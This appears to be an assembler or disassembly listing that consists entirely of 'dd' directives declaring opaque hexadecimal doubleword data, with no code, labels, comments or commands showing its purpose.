		dd 85B718AEh, 3B261946h, 4EA26202h, 0A0BBBA08h,	0C4E23A34h
		dd 7E1100FBh, 400576EEh, 0A4769ED3h, 81EF607h, 0FAAF3h
		dd 4CE94FB7h, 0AB7B2AF0h, 151C0090h, 8EAAEEB5h,	5050A96Ah
		dd 96003988h, 7DE776BDh, 0EBB915h, 0D6E034C0h, 1889FB43h
		dd 91284C60h, 62A28C9Fh, 0BE3F6825h, 0F7B0C4ACh, 0C941BA09h
		dd 4304001Ch, 4C75C6ADh, 3418EAA4h, 9E09D83Ch, 0D49320A8h
		dd 5E60BC78h, 0FB303DE9h, 4AF70632h, 0F05F913Bh, 8350C33Eh
		dd 20F90826h, 199CE749h, 3977093h, 0D152B04Ah, 0B03CEF74h
		dd 10BC28ADh, 0E74D981Eh, 0F6C1BF47h, 0A0F3A0CCh, 78ED67C8h
		dd 0A7B628C2h, 78C8F088h, 0E0BC55C1h, 27E1A6E1h, 119EF5E1h
		dd 9EC303B9h, 3004EB65h, 0AC27BE31h, 2019C423h,	0D351B34Eh
		dd 80A84601h, 27BF1111h, 0C8E3B354h, 0F618A430h, 0DED3AE81h
		dd 31FC4118h, 0DE801693h, 64FFDCA0h, 0EF3F04ADh, 953982AAh
		dd 0A06C8E34h, 71589184h, 40F0369h, 0C593F79Eh,	0C04873B8h
		dd 61B0D030h, 968350h, 667E9A86h, 0C31AF8B3h, 0F6FB0200h
		dd 9B04A13Eh, 0FF4300D5h, 83EEA939h, 0BE48687Bh, 0E42622B8h
		dd 0A0E47ED0h, 0F2EE3B4h, 0C78762CEh, 0C180C32h, 3A123940h
		dd 5040F950h, 0B3A81F89h, 70FD48D0h, 58A06622h,	1D03202Ah
		dd 34A78108h, 0D1A691h,	5E3D6970h, 136D3EB8h, 0D4975407h
		dd 0DD10144h, 0F4F0B650h, 0A8040198h, 0F30FFC60h, 0A32FE427h
		dd 0E00AEA00h, 9FB7A923h, 0B64A3A1Dh, 98E82400h, 0FC7ADD07h
		dd 0F573F21Eh, 20B4CF0Ah, 0C6F64A0Eh, 18317DC0h, 48650248h
		dd 0ED01A082h, 3E5E5944h, 7C0C80CAh, 0A505110Fh, 348183F5h
		dd 36780022h, 0BB04EDB3h, 0EE6F7C3Eh, 0AFE48150h, 0C9C4E845h
		dd 0FC4B0089h, 6226906Ah, 1700F043h, 779B1E5Dh,	70F92473h
		dd 5481CF53h, 19799386h, 7FFC5222h, 82A605Ah, 0AB150FE2h
		dd 0A35869C1h, 0C9BC7CEDh, 632F10h, 0BF7B3AB7h,	3EBCC0h
		dd 90BEDAD6h, 0F6525A68h, 31B7F531h, 1090575Bh,	1B6C88C3h
		dd 76C17953h, 42BAE1F9h, 34035810h, 5A10009Ch, 0B6307C5Eh
		dd 36EE151Fh, 679E2D00h, 0D6260185h, 4C3C00F0h,	0F5594553h
		dd 542A0537h, 0AB60D85Fh, 7AFDE438h, 0EF2918FFh, 6B019D0h
		dd 52F6AF00h, 0A21D9E45h, 295004FAh, 0AE2C66h, 0F5FC70CDh
		dd 18517C35h, 909DA2D6h, 0AC2E1FB7h, 0C00686D1h, 1838F915h
		dd 900A5648h, 7400AF0Dh, 0A25FB03Fh, 0E7DC49C4h, 664EB982h
		dd 0A0A35882h, 1011FC6Bh, 0CA1E2143h, 0F7E00860h, 0B311B090h
		dd 67181E22h, 17888F10h, 7031A518h, 19392CA0h, 94E60050h
		dd 0FC6F4246h, 0E9706260h, 0B3A361h, 25FD1FA1h,	0D715E009h
		dd 3850F000h, 0EDDF98CAh, 3BFC0449h, 875269B3h,	0E297C18Ch
		dd 0A11D30B5h, 974F758h, 2F62A29Eh, 91B80108h, 845010BEh
		dd 0E28F6Ah, 181C7DADh,	1BD6EA5Dh, 0FDA87600h, 7E15F634h
		dd 74EE03D0h, 9B081381h, 5BC924A8h, 0A4AE0E00h,	4354FDA6h
		dd 50EF297Bh, 602964h, 1FF921E4h, 0FF62E506h, 0A0FAE2C8h
		dd 0C6B8F3F8h, 11F86056h, 58EF49A4h, 0CB291F06h, 3B181E5Fh
		dd 78D2FB9Ch, 92FDFDCh,	8C0A4A31h, 9FE60844h, 0FAC75400h
		dd 0C89C7D53h, 6B0AED11h, 0A20AFC0Eh, 6880CC11h, 6F9C49A3h
		dd 84D3493Dh, 99EA440h,	2736606Eh, 0B42B6002h, 4C642848h
		dd 0BAA19318h, 3AF1F11h, 78C788D0h, 8100FAB1h, 0FD8EC244h
		dd 411896Ch, 0F32F36Fh,	75E48145h, 0E3B5F1E5h, 2160B9E1h
		dd 68D01411h, 0F44048D8h, 60DB003Bh, 1507C4D9h,	0CB002AA3h
		dd 0A10F96Fh, 534D9Dh, 0EBC262CDh, 0E821E686h, 81D3AB0Fh
		dd 0E0C8E02Bh, 969F71h,	452F304Ah, 70DEB25Fh, 2A99E606h
		dd 1C113BB1h, 806FBE18h, 0BB467586h, 7B00AA56h,	0E01C57D0h
		dd 1DB1CCh, 0E721CD7Ch,	9D544814h, 4237DC07h, 1643F698h
		dd 84F1C017h, 0C0E2B3h,	4B923596h, 0FE4A9D5Bh, 79331100h
		dd 0C2B093D4h, 0A291007Dh, 1DDB3942h, 99007235h, 8DC83DB5h
		dd 50C14732h, 0C588A96h, 0CB401C90h, 30F02211h,	0BC218F60h
		dd 0C0AB6A5Dh, 0E13B1448h, 0B000A9A6h, 8A34A4B4h, 953EDCh
		dd 57AFB39Eh, 91C1C532h, 0E0A020DBh, 0C01EA602h, 0EB80EFD9h
		dd 1C0A400Fh, 48A88E35h, 92031F91h, 4052D962h, 890B700Ch
		dd 0BA50E4h, 0C7493433h, 0E2AE8309h, 552A521Eh,	0E5910C00h
		dd 1C1BBF0Bh, 81093C72h, 580FF687h, 49584132h, 8060BCC8h
		dd 4240903Fh, 3C194148h, 0C0604B43h, 76799C0h, 119B1634h
		dd 21F5B80Fh, 0FD91EA2h, 0A1D3E982h, 4DC3BD34h,	2572C000h
		dd 84F257B7h, 0CFC0017h, 4A7E9840h, 431813F1h, 11519706h
		dd 3F56F078h, 400A1E9Bh, 40BC1D8Fh, 17DC594Ah, 339CAF54h
		dd 803D1601h, 98F9418Ch, 0C0D5F853h, 1DF1573h, 3584F3A7h
		dd 8FE2E9CDh, 8CFD4A88h, 0A9F1843h, 9B517446h, 663E3C84h
		dd 3C744A28h, 86186481h, 35DB2177h, 4FD08200h, 0C6CDE11Ch
		dd 7E101D17h, 38BA0CB3h, 70231D0h, 74451699h, 863E2796h
		dd 1A3DC14Ah, 159C8070h, 3D5D19CEh, 0D7ED0058h,	951C2C90h
		dd 0B32E7B47h, 9600DDE5h, 76BE8A87h, 0CF3A1235h, 80F3065Bh
		dd 0C4325898h, 11F81053h
		dd 81521C5Ah, 0A38015D0h, 14FFA899h, 94B92E12h,	0AEB59000h
		dd 0F5C8883Fh, 0D672B1C0h, 610A79Ch, 74433E9Ah,	1F0CC93Bh
		dd 51F9DC86h, 0DE513CDBh, 79391931h, 0EF298A9Ch, 478CC488h
		dd 50DCF93Ah, 889814CDh, 2F243D09h, 1640C072h, 0A44D4377h
		dd 240F779Ch, 16CE741h,	935C060Ch, 5DB0432Fh, 759822h
		dd 0E8386610h, 90DF1906h, 0D47C32E2h, 90099F80h, 0E103459Ch
		dd 0FB109013h, 0B3300A8Ch, 10336484h, 0C55D40ABh, 3344523Fh
		dd 9A712D74h, 354580B6h, 10917DE1h, 0DBE4007Ah,	33900FA5h
		dd 0A89245h, 529AC731h,	89B8C4E9h, 954006EEh, 98F25238h
		dd 0F62D3709h, 5D7C5420h, 0FE0A70E4h, 809A9984h, 0A848C918h
		dd 79BD1837h, 1BA32894h, 7C547002h, 405063FDh, 7472BB0h
		dd 205234B4h, 0A8FFC172h, 90C48F3h, 5B0E5005h, 0B003FBA9h
		dd 0E0D2C810h, 1C2B53A1h, 0CA720A5Dh, 0E406F2Dh, 192B516h
		dd 555B1C84h, 0B31830D9h, 0B6602890h, 24BD0BC1h, 3D8F02CFh
		dd 0B891661Eh, 519E8B40h, 424CCB7Ah, 7DF68154h,	0FC42A785h
		dd 0E4426Dh, 0FB814C8h,	0F094CCC6h, 9D54D878h, 1EEE9388h
		dd 0A1C0B824h, 8DA4F619h, 22404083h, 583C196Dh,	4A558030h
		dd 0B0E0649h, 0AA383E17h, 18FA2B01h, 20D3F8F7h,	0E20435E0h
		dd 0CB3D8E64h, 20270882h, 7166F7A3h, 8FB6FB03h,	610FEC33h
		dd 9E3958C2h, 430ECC59h, 0E0833BECh, 0D29C6F72h, 0EDBC3018h
		dd 53057027h, 0D669350Ah, 0D7C8801h, 0A8401987h, 0B71E46h
		dd 3C90AF4Ah, 0D148165Ah, 804E971Dh, 0FC9D5747h, 86EC0312h
		dd 104840B8h, 88C9B9Eh,	1D1631C5h, 972E8C0Bh, 4C99D218h
		dd 45F8AC28h, 4AD04E15h, 2EB21184h, 9BBF107Ch, 0E15E0078h
		dd 83B147CAh, 711C0C29h, 0F6F8A93Ch, 9CBB2186h,	850213Ah
		dd 0A3719FF3h, 8E641A00h, 40B97A88h, 2704FCFAh,	3FA02CA5h
		dd 0F834012Bh, 3D5BFD4Bh, 1E9E6020h, 0B19E978h,	0E001D689h
		dd 30E29CB3h, 580B70A6h, 21F44941h, 8C614DC8h, 0CF3B0E01h
		dd 3C438EFAh, 0C9E624B0h, 566A4516h, 295A000h, 53EBBB4Bh
		dd 0A6842046h, 1316050h, 27EC0904h, 0DC80D79Bh,	5E3CDA8Fh
		dd 3CE3092Eh, 6592BC87h, 0AA88DF80h, 0AD571CA0h, 0F2C958BEh
		dd 0B2007C70h, 0E263C2ACh, 4BC682Bh, 4AF15A31h,	84A80C1h
		dd 9600C715h, 39772624h, 72558F86h, 9B2300B9h, 0A762AB5Eh
		dd 150018C9h, 0FA341E1h, 0E29CAB0h, 2816D0EBh, 0E2AD7420h
		dd 3B009D4Eh, 0F1B68CF8h, 6447D4h, 48A413B8h, 0AC48EC0h
		dd 963DC700h, 5D614055h, 701FAD6h, 49C1515Eh, 0B8DCE0C9h
		dd 0FB00A205h, 98825056h, 7AED537h, 0BE425BD4h,	0F960C1B0h
		dd 3A48F416h, 22018D00h, 21E74A87h, 0B9DB0075h,	0EC027EACh
		dd 4B7E5099h, 7A00E476h, 423827C4h, 17D552h, 0F492C8A6h
		dd 0A7C05F57h, 22544001h, 1D40BCCh, 434DEECh, 7F483275h
		dd 642E80C1h, 3A0CC85Dh, 110BAAD5h, 4A1300A3h, 6D8F1AD8h
		dd 9200C7ABh, 0E7FB5BD1h, 26B9D942h, 9FD86E4Bh,	0D852007Bh
		dd 5EC3FD0Eh, 86DBED00h, 99FB1043h, 6D2F30A0h, 26E4B580h
		dd 98292D18h, 3AC35B66h, 6C82915Fh, 0F94A8E13h,	2C0324C4h
		dd 4D87683Fh, 0E1FF88E6h, 76AD138Ch, 1C181FE3h,	8AA70306h
		dd 6A81D7B8h, 0F1FBC071h, 77F4905Ch, 0AB609D00h, 5B7D1801h
		dd 0E20C0081h, 0B7BC3177h, 4500986Bh, 0C1A550F7h, 0DF8F3h
		dd 0C4D25D1Ah, 7F9C093Eh, 0FF79CC00h, 442694E4h, 598800A0h
		dd 0CFB0EE69h, 55004DC7h, 64CD5B67h, 6E3AF2h, 87B7D09Ah
		dd 0AC51AF36h, 0C6A7C500h, 0C0CF1CEBh, 0BD700BBh, 0D5C4824Eh
		dd 3F07ABDCh, 0F5892653h, 901A13A0h, 0B63E004Ch, 576E31B8h
		dd 3A00E5F4h, 5ADA73EFh, 48A8B5A9h, 2C0008A7h, 0C7458F44h
		dd 2F4DDEE1h, 3F0F00BCh, 0A764849Fh, 40C533CFh,	3DBB35A0h
		dd 0E86033E8h, 8613203Ch, 0FDAA9698h, 1B2EC82h,	1EBD6BC7h
		dd 0E820F654h, 7300D0D9h, 7947602Ah, 3C297Dh, 31A87767h
		dd 0B6179EC3h, 0C6B0F00h, 8AADB7ACh, 0A11D1263h, 7C900022h
		dd 0CD2D3A2Ah, 0FA230B01h, 3BC6F472h, 288AB9C4h, 31F49875h
		dd 45B96E10h, 344E003Eh, 0D79013h, 19AE7183h, 976F1787h
		dd 794364Ch, 98B8F02h, 1E08A496h, 79A7B94Eh, 8D28FC80h
		dd 42AF76D1h, 0FD35B000h, 340DB10Bh, 379500C3h,	0A2A5A770h
		dd 57FE9C76h, 0C8BA6828h, 4033E005h, 0B4441F1Bh, 40909F88h
		dd 1C3B923Ah, 801AB74Bh, 0EC50A70Dh, 0E6005D62h, 97164A98h
		dd 7772D6Eh, 13A559FDh,	0B46A70C2h, 0EB5017DAh,	0AB0089D4h
		dd 0A77643D8h, 7E2F2AE8h, 68D900C6h, 583747Ah, 58005B6Bh
		dd 0DF4854Eh, 60E881EBh, 13AC80FDh, 0B5034183h,	94BF0EF2h
		dd 0C47580CBh, 0C270001Ch, 0BB5A3823h, 0A07B7DFh, 8C507219h
		dd 0DCCB9A00h, 932E00D5h, 88E4940h, 0DE00B10Fh,	79F2E8C1h
		dd 382612Fh, 0D3555791h, 12A8BF69h, 3007901Fh, 0C7FF8A0Ah
		dd 3BA635A0h, 0DBE44863h, 9C395400h, 22C47870h,	0C733C0A0h
		dd 366BCA00h, 35B7A86Fh, 0D5C50C58h, 912928BFh,	30003174h
		dd 243F8B76h, 3B5B371Bh, 0F4834A80h, 95F1DFB1h,	1720FCF8h
		dd 0E91F2872h, 1CC0183Eh, 0DA996489h, 0FB81124Ch, 441400CEh
		dd 42F4E545h, 805A2C3Bh, 0AD2D4318h, 25EB4Eh, 4724AE3Bh
		dd 5E65B73Ch, 0C7345B00h, 0DDF5B40Ah, 0A16330C9h, 0FF5AE4F8h
		dd 0D0C36500h, 605B8930h, 0BA9A0386h, 35CB6D31h, 0C585AB91h
		dd 0F60A305Ch, 96C55400h, 0A57B59DAh, 0FA520009h, 206DF48Ch
		dd 5807BE86h, 0E84A5346h, 0B7DE4EA0h, 0CFB30F19h, 56C0C52Dh
		dd 9E4CD7FBh, 0E41F664Ah, 7CAD9F40h, 0A3920D5h,	54B6C781h
		dd 21AA0082h, 40FD2913h, 0B9029713h, 2699C400h,	0C0BC9B86h
		dd 4FF44811h, 8F13EEF2h, 0AC000793h, 0E8CD0F9h,	189C0008h
		dd 0F1C6EAB8h, 3A036630h, 0E9335EF2h, 0E4A0B793h, 49CD36h
		dd 0EA2E4579h, 0D35E677Ch, 8E8F7306h, 314B72Dh,	65E98C5Bh
		dd 0F6987AB8h, 5900D22Eh, 5593F8FFh, 0E5CF79h, 88118206h
		dd 45E8EE67h, 4E8DCC03h, 0D023D9DBh, 8EAB0Ah, 0EC3C8053h
		dd 2A97CB04h, 6354F500h, 0BBCD1E3Fh, 6E3D07BFh,	600D709Dh
		dd 37DAC459h, 0CE766000h, 30C7A8A6h, 0E288073Ah, 7F42351h
		dd 68945034h, 220FD441h, 0EE729709h, 0FC3124C9h, 7A6100EFh
		dd 0C2F75A0Ch, 0FFD4CD00h, 15E8F194h, 218A0013h, 65AE492Ch
		dd 0B0707795h, 5EB3F701h, 35548E2Bh, 2BEFCh, 4215F4BBh
		dd 37741B51h, 32002373h, 3BE6FB7Ch, 6482FCh, 0E8B9F91Ch
		dd 0D7B00C59h, 6249E300h, 244A504Dh, 66890045h,	302BC43Eh
		dd 21005752h, 9540A964h, 0CD7D25h, 69273510h, 0C39AD86Dh
		dd 964E100h, 77F69047h,	2BDC014Eh, 0B71E2229h, 702CE57Fh
		dd 78005DDAh, 0EBEDCF7Ch, 0FA8DDFh, 5F01C245h, 5C9B2ABh
		dd 5433E502h, 809B0289h, 593086ACh, 7A1F1358h, 41700F1h
		dd 88446878h, 15FD48C0h, 3F713F4Dh, 0BABBF986h,	0E806A695h
		dd 0C0918507h, 4B42E170h, 7D0C40C1h, 81C3E05Ah,	60289661h
		dd 5FDD08E0h, 63F8FB72h, 34276600h, 51920932h, 7D840073h
		dd 25823642h, 0B052178h, 0BDF7C944h, 0D94BE707h, 0D29B6030h
		dd 294C0085h, 0B37365FBh, 99036E0Dh, 0FD6679A7h, 0D17ED09Bh
		dd 6381CFE2h, 83C427E7h, 0A1010761h, 142F3491h,	93CC92B8h
		dd 0E25C5C3Fh, 0C6AF7E01h, 0ECC15667h, 9F07DFCh, 0D664100h
		dd 39B1DC4Bh, 87FA6Ch
		dd 658B28B4h, 3472D5FDh, 76C01E00h, 4E2B980h, 1D1901FFh
		dd 9FC46003h, 0CC888081h, 614E400Ch, 212601B6h,	4CE92E84h
		dd 0B2C02089h, 0C85B803h, 0C0CECD63h, 0F25120AAh, 27AF0001h
		dd 0F08A9261h, 0E700CBB1h, 0E269AC24h, 0F2397B18h, 0DC7A0307h
		dd 0C1E8E90Eh, 0DF8C408Fh, 0BF0035DEh, 5FF85132h, 0BC7892h
		dd 25F12E79h, 0A6E9683Dh, 0E72FA400h, 0F71BE498h, 0D94A0C66h
		dd 2DB1A785h, 0B603F1EEh, 607A06E0h, 41900E9h, 84AC34AAh
		dd 8C1DCEF8h, 0C055038Ah, 0EA200B8h, 0D2E51DBAh, 5DD00B9h
		dd 8BFBED22h, 6660FD1Fh, 0F6F88118h, 63010749h,	8185FA89h
		dd 0E0099919h, 7A02DA65h, 79B9830Bh, 0FAD88014h, 0C561F0h
		dd 0DBE275B2h, 5F49E74Ah, 666D43Ch, 0DDCE3C0Dh,	51E60C28h
		dd 53181E7Bh, 8CF26C7Ah, 0EEC098DFh, 6B1D8887h,	57630008h
		dd 0D9922D0Fh, 0BA7833D3h, 6E011F18h, 0C4B7FA0h, 6F79B8CCh
		dd 6119A381h, 7058234Fh, 1E4AE720h, 0CC4B3448h,	3918078Bh
		dd 786D7A3Bh, 9C3CF87Fh, 0AD701403h, 7EE60094h,	0D95CF10Ah
		dd 44F5490Eh, 6C08906Fh, 0DEF24841h, 6A793009h,	0A27D90C1h
		dd 0C8ADBB62h, 0E8C483F0h, 0D96C1F87h, 0ED140EF7h, 0EB24C0CFh
		dd 0F8CB838h, 67687E42h, 0DEC94E00h, 0FA836D34h, 0D6A8C0F9h
		dd 0E10DFFA5h, 8E25CD00h, 0C5A7FBBCh, 0EA980FC9h, 0DB80E522h
		dd 0B91C4891h, 0E0B4A3Ch, 207DFA88h, 0F460EFD8h, 5A100BBh
		dd 6C1883E8h, 62009299h, 7F5725CFh, 187249F8h, 6093E1F0h
		dd 3B0E5C5Bh, 0F356B6C6h, 88522500h, 1E5E71EEh,	40FC7932h
		dd 9072068Ah, 0D200DB91h, 0E3CA1A9Fh, 0F1E9552h, 1DEFC874h
		dd 23E8A2A1h, 701AC499h, 0D32ECD00h, 0D5872B90h, 0EE380021h
		dd 88E1C402h, 6C00EBC2h, 499CCD9Fh, 3F519619h, 0C982AA10h
		dd 58EA2C79h, 6D73C060h, 32EF9900h, 0F6F5CE52h,	0F00100F8h
		dd 1A286939h, 0FEE69E1Dh, 31B83D00h, 5B87AB40h,	0BAFD3132h
		dd 0E4C06010h, 29001BF8h, 738E5766h, 1A122FFh, 7AF5B76Dh
		dd 508AB26Fh, 8C82CB9Ch, 44392507h, 0BED07B7Fh,	9D2CD05h
		dd 8FA2CE04h, 0ABEB2420h, 0D62ED5B1h, 9C2071A1h, 0EFF80476h
		dd 2A4E8A0Fh, 0A0768079h, 0E5D834h, 7D4319B0h, 9F0B6675h
		dd 74448D24h, 7A49D480h, 4EC9BAh, 6A873246h, 0C6F1585Ch
		dd 6D61FD00h, 0A67590BFh, 403000E9h, 128F0356h,	3400E42Fh
		dd 1B115288h, 0B66B343h, 904F6578h, 0C6462400h,	1400C7A4h
		dd 2FB817DAh, 14B996Bh,	6A72925Ch, 0F26C7311h, 3EE6DB80h
		dd 9E3C769Dh, 44A38720h, 69600498h, 88CCC3h, 3D373287h
		dd 9FE97DF1h, 7BDD7500h, 615A9DA8h, 19D76063h, 2C69035Fh
		dd 653D261Fh, 7114F8C0h, 4763E6Ch, 0A5B7DA8h, 540C8060h
		dd 940073E5h, 0C99A2FBFh, 3C1A1F08h, 0FE008329h, 0A7DBDF9Dh
		dd 90000B20h, 4A886CA3h, 403E18h, 4683D8DAh, 0CF43D08Ch
		dd 0D43278C0h, 1D3576Eh, 7D417523h, 0F83FEC65h,	0A0003137h
		dd 3F1D5B4h, 2141CB6h, 0D1FACCB0h, 8406976h, 2C0764FBh
		dd 6FAA5218h, 22EB9D80h, 538708Fh, 82B62EC2h, 94CFC01Bh
		dd 0CB0070C1h, 47DC430Bh, 3012C39Dh, 0D82950C9h, 0FE769475h
		dd 7800EC70h, 8299F1E4h, 27B8AD2Dh, 0C3F0EB76h,	219BA700h
		dd 0D2F75E5h, 6C0A00C3h, 1601AF1Ah, 9E00B782h, 0EADFF491h
		dd 7D71498Ch, 87810058h, 3C9C4C51h, 2007EC33h, 42CFB41Fh
		dd 0A06A12A0h, 0E83400A3h, 571790D1h, 30FDAB8Dh, 631FD2D4h
		dd 9CCF51A9h, 931960C8h, 790FAFh, 8398EEE5h, 57F888E2h
		dd 2CA48200h, 3771584Fh, 0BF9E0005h, 60416154h,	600D60Fh
		dd 6ECFE669h, 27936A9h,	233845F3h, 94C01120h, 8A6BFA9Fh
		dd 0BF3F00D8h, 474F1Eh,	0D1E98413h, 0D7E7576Ah,	0C67010Eh
		dd 5DB3C0B7h, 78A1A3h, 48C4D836h, 6D0BC11Dh, 0CA643107h
		dd 52443D6Ah, 1A49F9C0h, 2D000DEh, 0D8EF65A4h, 2F6E459Dh
		dd 0AF1CD671h, 7C44394h, 3EC5607Ch, 4C1387Ch, 0C378F896h
		dd 0D198C007h, 0C0F1DEA3h, 0EE0075F9h, 6EAE7A11h, 0EE329BB6h
		dd 30B8F436h, 0C680CCABh, 0C1709C9Fh, 9900D9FEh, 66DD1175h
		dd 35DC29h, 3EADB7E2h, 0A7C4BFEAh, 0E6D21C00h, 0A1CAFE0Ah
		dd 79FF2C3h, 0CDF0DB80h, 9163C0FFh, 79004C93h, 2A15A54Dh
		dd 18FC7h, 0B621081Ch, 0DD126A3h, 0DED29600h, 7A536B62h
		dd 41E08Fh, 0ACA01543h,	50F5D8F7h, 772E7C00h, 20CA0917h
		dd 3ACF00DDh, 0A6B3A778h, 4128A164h, 0C8009073h, 0FF33052Eh
		dd 0F27EDCh, 0FED5AF9Bh, 0A8139D6Eh, 22DF93Dh, 0E74B71E4h
		dd 87C240B9h, 0D3080017h, 56BC8930h, 4002952h, 2EE6CEAFh
		dd 77A4FF9h, 7B908E3h, 55B4E079h, 0F6008D69h, 475E749Ch
		dd 0F8FB8C4h, 0C6B2109h, 0D1E30BA0h, 2300A0D2h,	94F013FFh
		dd 9B30FBh, 8C40E4CDh, 0C960770Ah, 42C58800h, 2A7D0234h
		dd 182F0FFAh, 46600E48h, 0B236CB75h, 5F3D9400h,	0CF27A138h
		dd 0C47AD5h, 0F52A136Fh, 0FACD78EFh, 0FE280500h, 64D87A4Eh
		dd 72312827h, 101E0088h, 8D980D44h, 131F11DAh, 8242B35h
		dd 3A061C80h, 36CDA8h, 0C9C61D94h, 5CA764ECh, 6D23870Eh
		dd 68C0E026h, 0B7A10Eh,	61A9FF41h, 7888A8Dh, 79D56700h
		dd 0C71CE7CEh, 751006A6h, 3083274Eh, 0C4613900h, 2B3AD399h
		dd 232D266Eh, 60548004h, 0E09F882h, 64064024h, 4CDAC500h
		dd 1F1986B7h, 80D528CEh, 0A23E1FE5h, 0BC007540h, 0C0A40952h
		dd 0AB76A7h, 5EF4CC77h,	5729C54Bh, 186BCE00h, 0EA7FF19Eh
		dd 0E757BE0h, 869A097Ch, 2BB789A1h, 9143601Dh, 0B3006BB8h
		dd 11B6D32Ch, 797A60h, 0C706C697h, 0FE429EE3h, 832A1238h
		dd 31C4E615h, 5E0DE833h, 72D500F7h, 997680BEh, 2200AF7Bh
		dd 0B04C89DCh, 0C7FE25h, 54F1C9Dh, 0E1199386h, 5C223Fh
		dd 0D620C04Eh, 7523D35h, 0FB29A37h, 0A314C0F4h,	7E001288h
		dd 45B5394h, 0C6A41Ch, 0AA8A9C30h, 89A73DE0h, 5C933500h
		dd 0A19F33CAh, 34314BDh, 0AE00C192h, 255F047h, 22098932h
		dd 8F3B88D9h, 62BC60EDh, 1F25C386h, 7A0AD8h, 711AF9B9h
		dd 7600A8BAh, 0C92AEB8Eh, 3D0222h, 57C351B3h, 0C23107BFh
		dd 879BEA07h, 1F138Dh, 24D979FBh, 0F49500B7h, 11B03CAFh
		dd 2A009DF2h, 41281D38h, 7EABBDh, 258FFAC8h, 0B1507AD7h
		dd 1DFF0703h, 82AD8D2Fh, 47807DD3h, 86D288F7h, 0AB650C03h
		dd 0B84E9C82h, 2ED84407h, 1EE605C0h, 47C20C14h,	3C3B46C4h
		dd 0AA007503h, 352FC17Dh, 0B842FCh, 60BE6AAFh, 0E836E266h
		dd 0AC5ADF00h, 29DC544Eh, 4FC00FD1h, 952158AAh,	0C4641338h
		dd 77E01290h, 0E71F4374h, 0C498D3E3h, 5CDF0A18h, 778FF58h
		dd 60758CDDh, 768EDEDBh, 860AB282h, 0BAD91080h,	480FBB95h
		dd 9DBDED74h, 3EB1E100h, 0DF25CAh, 9013FC6Ch, 17300150h
		dd 930D3207h, 2840F9AAh, 0F09B93Dh, 0ED3C29AFh,	1E1DA88Fh
		dd 0FC51FB3h, 3A819A07h, 0A6BD60F8h, 30001C29h,	32D26FC0h
		dd 0F0D871D5h, 0A0447C08h, 0A068281Ch, 0E053E2Ch, 0FD328D93h
		dd 2F3C8780h, 10A01728h, 1CA04F44h, 0D800E52Eh,	919450D5h
		dd 3EA6630h, 0DE02715Ah, 14900FAAh, 32002906h, 44F4BEE1h
		dd 30CD9B6h, 1CA8C74Eh,	0A0B11905h, 0A37FF062h,	6FEAB000h
		dd 1E03D5B3h, 0F25600EDh, 8873C07Dh, 0C600E620h, 310C33C3h
		dd 0FF456Dh, 0E009F419h, 0A84129B6h, 6B167501h,	3F42E7A7h
		dd 780EE5F4h, 29591DC1h
		dd 7DCA80AEh, 0D52DFA5Ch, 76ED4E02h, 0C0E49D6Ah, 0CB2833h
		dd 0E9070AC9h, 0E2582353h, 7CD8E31Ch, 1C9104C0h, 0AB19CBh
		dd 2767F3F7h, 0D652B863h, 0C88CC454h, 90407905h, 9042581Fh
		dd 81D8E2A1h, 97645084h, 1AB69040h, 0D7B90018h,	20D5651Fh
		dd 0DC32A106h, 204829DAh, 7A09C193h, 5F25F80Eh,	7134C3B4h
		dd 4C8E022h, 0E17C7Dh, 5C79AE55h, 11A6F5DBh, 17610A00h
		dd 730C3AA1h, 0F2D5007Ch, 831D18AFh, 400C99Eh, 4542142Dh
		dd 0E30F03h, 8155D833h,	964164C8h, 8999207h, 8C8007E9h
		dd 0FD3D87h, 1892580h, 43D94F1Bh, 48CC6A00h, 0B7B8468Eh
		dd 0CA61D5Bh, 0EF6CD2A5h, 0ED718C00h, 0E3C8E8h,	0BBD9EB3h
		dd 0FD9DF972h, 0AA5011EEh, 0ED00878Ch, 7FA2D7FCh, 906E1AD0h
		dd 614006BDh, 52A051F9h, 0D25DD900h, 0F6B9BF39h, 95D10043h
		dd 7135AB20h, 0C701B1FEh, 0FC6FA75Ah, 0D9CC4E3Eh, 33C10387h
		dd 0E29F0BA3h, 8810CBC0h, 0B25BC800h, 59D2E4BFh, 46BC006Bh
		dd 7D2602AFh, 950005B1h, 189CEB56h, 825ACEh, 8D794369h
		dd 969A5726h, 60C0320Fh, 0C2A20083h, 0FE481510h, 0D719Fh
		dd 62A72ABBh, 0D1C3D691h, 0BF82E900h, 29A987ECh, 0F1E06076h
		dd 0CA3F86Ch, 16600507h, 5B3133D2h, 0B6E46D84h,	0B01A0001h
		dd 0F69FD3E7h, 0A000697Dh, 0F0B8CC31h, 421CA1h,	9067FE85h
		dd 0BAF2AD9h, 0DDB5B300h, 0FB284C3Eh, 0FF740072h, 0EF8DBCE8h
		dd 8F00AF77h, 0E4FEBF64h, 0F440579Bh, 0B94700F3h, 2C44BA5Eh
		dd 0D716A046h, 0DF01AC1Ch, 27755BD5h, 4BEAF8h, 8AF53FAEh
		dd 20A50207h, 8F982401h, 488813A7h, 0F4C5D880h,	2DC41850h
		dd 4A493800h, 1FD3EEDBh, 0F4D0FF5h, 7F8022B9h, 2A4E0748h
		dd 24F40175h, 0E9985100h, 66AD6A74h, 41BB00DCh,	2BB33792h
		dd 0D0C0D24Dh, 0A6DB43D0h, 19A707B4h, 0C0FD11C9h, 5EDAF774h
		dd 0D9ADE400h, 0E868A64Eh, 0B9D008Ch, 0A1B096FDh, 0E30C4220h
		dd 0F844E77Dh, 82724DBh, 570300CCh, 0E1AEBD7Ch,	0FA6D5600h
		dd 1AD3DA3Eh, 780B0087h, 0B8BC909Bh, 6A009DBFh,	93613124h
		dd 4B7F09h, 0DB5EDFC2h,	0CE424ECAh, 43026BF2h, 56FA2268h
		dd 987C430Bh, 0DB16C4h,	80937CBBh, 9236BA77h, 1706900h
		dd 0A3DD2189h, 0F3A700E1h, 57CB7B48h, 0E5E8FB96h, 92AAB400h
		dd 0C3889F16h, 0AD110C99h, 0C5B8DD18h, 0DCD60A0Bh, 0C0FC25h
		dd 2E6C5FF6h, 0E30251C1h, 4BE7C0D9h, 0B30357EEh, 6BD80E62h
		dd 1960FCB6h, 9C70F298h, 0A90F0398h, 0CB1107A1h, 50BC2DD8h
		dd 0A5271000h, 5FF5EBF3h, 692B00EAh, 0B2281AE9h, 0A00D60Dh
		dd 6B98CC1Eh, 4FDDF6Eh,	0E5C923BCh, 918CC092h, 0F54D32D5h
		dd 0B088287Ch, 6CA92600h, 0A1038906h, 0A0AE2873h, 0D5D70FA8h
		dd 0BB40690Dh, 790BDE92h, 5EE54518h, 4A86DF2h, 484B2099h
